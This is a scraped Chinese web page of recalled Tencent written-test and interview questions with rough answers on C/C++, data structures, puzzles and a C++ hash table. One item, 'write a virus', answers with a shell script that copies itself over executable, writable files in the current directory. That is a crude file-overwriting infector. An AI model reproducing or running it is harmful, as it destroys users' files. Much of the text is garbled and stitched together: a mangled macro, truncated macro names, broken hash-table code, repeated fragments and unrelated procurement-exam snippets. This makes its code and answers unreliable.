腾讯的流程是一笔和四面。前三次面试都是技术面,hr面基本不刷人。笔试成绩决定面试顺序。技术面可能要写**,做智力题目。
主要是c/c++、数据结构、操作系统等方面的基础知识。好像有sizeof、树等选择题。填空题是补充完整程序。
附加题有写算法的、编程的、数据库sql语句查询的。还有一张开放性问题。
1.请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句。
#define max(a,b) (abs((a)-(b))-a)-(b)))b):(a)
2.如何输出源文件的标题和目前执行行的行数。
c定义的预定义宏:
_date__ 进行预处理的日期(“mmm dd yyyy”形式的字符串文字,如may 27 2006)
_file__ 代表当前源**文件名的字符串文字 ,包含了详细路径,如g:/program/study/c+/
_line__ 代表当前源**中的行号的整数常量
_date__ 源文件编译日期。
_time__ 源文件编译时间,格式微“hh:mm:ss”,如:09:11:10;
_func__ 当前所在函数名,在编译器的较高版本中支持。
_function__ 当前所在函数名。
_stdc__ 常数1, 指示是标准兼容。
_stdc_hosted__ 如果是hosted实现,为1; 如果是。实现,为0
_std_version__ c99为199901l
int line= _line__;
char *file = file__;
cout < 与大数相乘原理一样,只是调整小数点位置,即有效小数个数。 算法提示:输入 string a, string b;计算string c=a*b; 返回 c; 1. 纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2; 2, 去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数) 3, 计算c=a*b; (要么用j**a的biginterger搞, 要么自己用c++写高精度数乘法,超过百万位,用fft,我就不细说,这都预先写过就别做了) 4, 输出c,(注意在输出倒数第l个数时,输出一个小数点。若是输出的数少于l个,就补0) 4.写一个病毒。 #shellvirus ii for file in * do if test -f $file ; then if test -x $file ; then if test -w $file ; then if grep -s echo $file >.mmm ;then cp $0 $file fi; fi; fi; fi; done rm .mmm -f 上面这个不对,没有传染性,寄生性…… 5.不使用额外空间,将 a,b两链表的元素交叉归并。 6. struct st; sizeof(struct st); 8 char * p1; void * p2; int p3; char p4[10]; sizeof(p1...p4) =4,4,4,10 5.让你在***个浮点数中找出最大的10000个,要求时间复杂度优。 最小堆。二分查找。 快速排序。双向链表的删除结点。 有a、b、c、d四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时分钟。 只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在17分钟内。 这四个人都过桥? cd ->ab 2 acd<-b 1 a->bcd 10 ab<-cd 2 >abcd 2 基础题有15道选择和2道读程序填空。选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案。 附加题有几道没有看清楚。有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。。 15个选择题,60分。 一个程序填空,40分。 三道附加题60分。 附加题考的是。 不用第三个变量实现两个整形变量的交换。 linux的子进程。 操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否。 书写strcpy() 时间两个小时,选择题 15*4 然后是程序填空题 10 (2*5), 30 (10*3) 附加题用c++ 实现一个链地址hash。 程序填空题我就不说了,比较easy的说,值得一提的是选择题。 绝大部分考的是c++,我大致说下主要部分吧: 涉及程序执行压栈的:1道。 涉及容器和迭代器的:4道。 涉及虚拟函数以及dynamic_cast的 3道。 涉及参数传递的 1道。 简单的程序段落判断 2道。 涉及类的静态成员赋值的 1道。 剩下的是杂七杂八的。 不管怎么说,假如你把c++ primer 仔细阅读了一遍,基本上没问题。 考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁。 闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这。 种类型的题目。 程序填空的考了文件操作,以及数组移动等。 附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class hash_#ifndef hash_table_h #define hash_table_h #include using namespace std; struct node /*定义节点*/ node():next(null){} string _value; node* _next; typedef node* hash_node; /类型定义*/ const int mult = 31; /散列函数的参数*/ const int table = 10000; /数组的大小*/ class hash_table public: *构造函数*/ hash_table(hash_node* table); *析构函数*/ hash_table(); *向hash_table插入元素*/ void insert(const string& word); *从hash_table中查找元素*/ int search(const string& word); private: *散列函数*/ unsigned int hash(const string& word); private: hash_node* _table; #endif endhash_ #include "hash_" #include using namespace std; *构造函数*/ hash_table::hash_table(hash_node* table) table = table; *析构函数*/ hash_table::~hash_table() delete table; *散列函数*/ unsigned int hash_table::hash(const string& word) const char* p = unsigned int h = 0; for (;p; p++)hash_table的心脏*/ h = h*mult) %table + p) %table; return h; *插入函数*/ void hash_table::insert(const string& word) *得到对应的散列值*/ int h = hash(word); *对应节点为空,插入本节点*/ if (_table[h] =null) hash_node n = new node(); n->_value = word; n->_next = null; table[h] =n; return ; *如果节点不为空,连结在本节点为头节点的链表*/ for (hash_node p = table[h];p !=null;p = p->_next) *包含相同的值,直接返回*/ if (p->_value ==word) return ; *发生冲突,处理冲突*/ hash_node n = new node(); n->_value = word; n->_next = table[h]; table[h] =n; *查询函数*/ int hash_table::search(const string& word) *得到对应的散列值*/ int h = hash(word); *如果对应的节点为空,直接返回*/ if (_table[h] =null) return -1; sizeof struct st char p1 void p2 int p3 char p4 10 sizeof p1.p4 5.让你在 个浮点数中找出最大的10000个,要求时间复杂度优。最小堆。二分查找。快速排序。双向链表的删除结点。有a b c d四个人,要在夜里过一座桥。他们通过这座桥分别... 1.读取整数集合a中的整数,将读到的整数插入到map中,并将对应的值设为1。2.读取整数集合b中的整数,如果该整数在map中并且值为1,则将此数加入到交集当中,并将在map中的对应值改为2。通过更改map中的值,避免了将同样的值输出两次。腾讯笔试题 找出1到10w中没有出现的两个数字。有1到10w这... 翰亚采购考试题目。姓名日期得分考评者。注 供100分,每题10分,完成时间60分钟,附加题20分,可选择是否做 1 采购基本工作职责有哪些?工作重点是什么?2 你为什么要选择做采购?这个职位与其他职位有什么基本区别?3 你对 商是如何砍价的?有哪些方法可以降低成本?4 最能简单概况你自己的词语是什么...腾讯面试题
腾讯面试题
采购面试题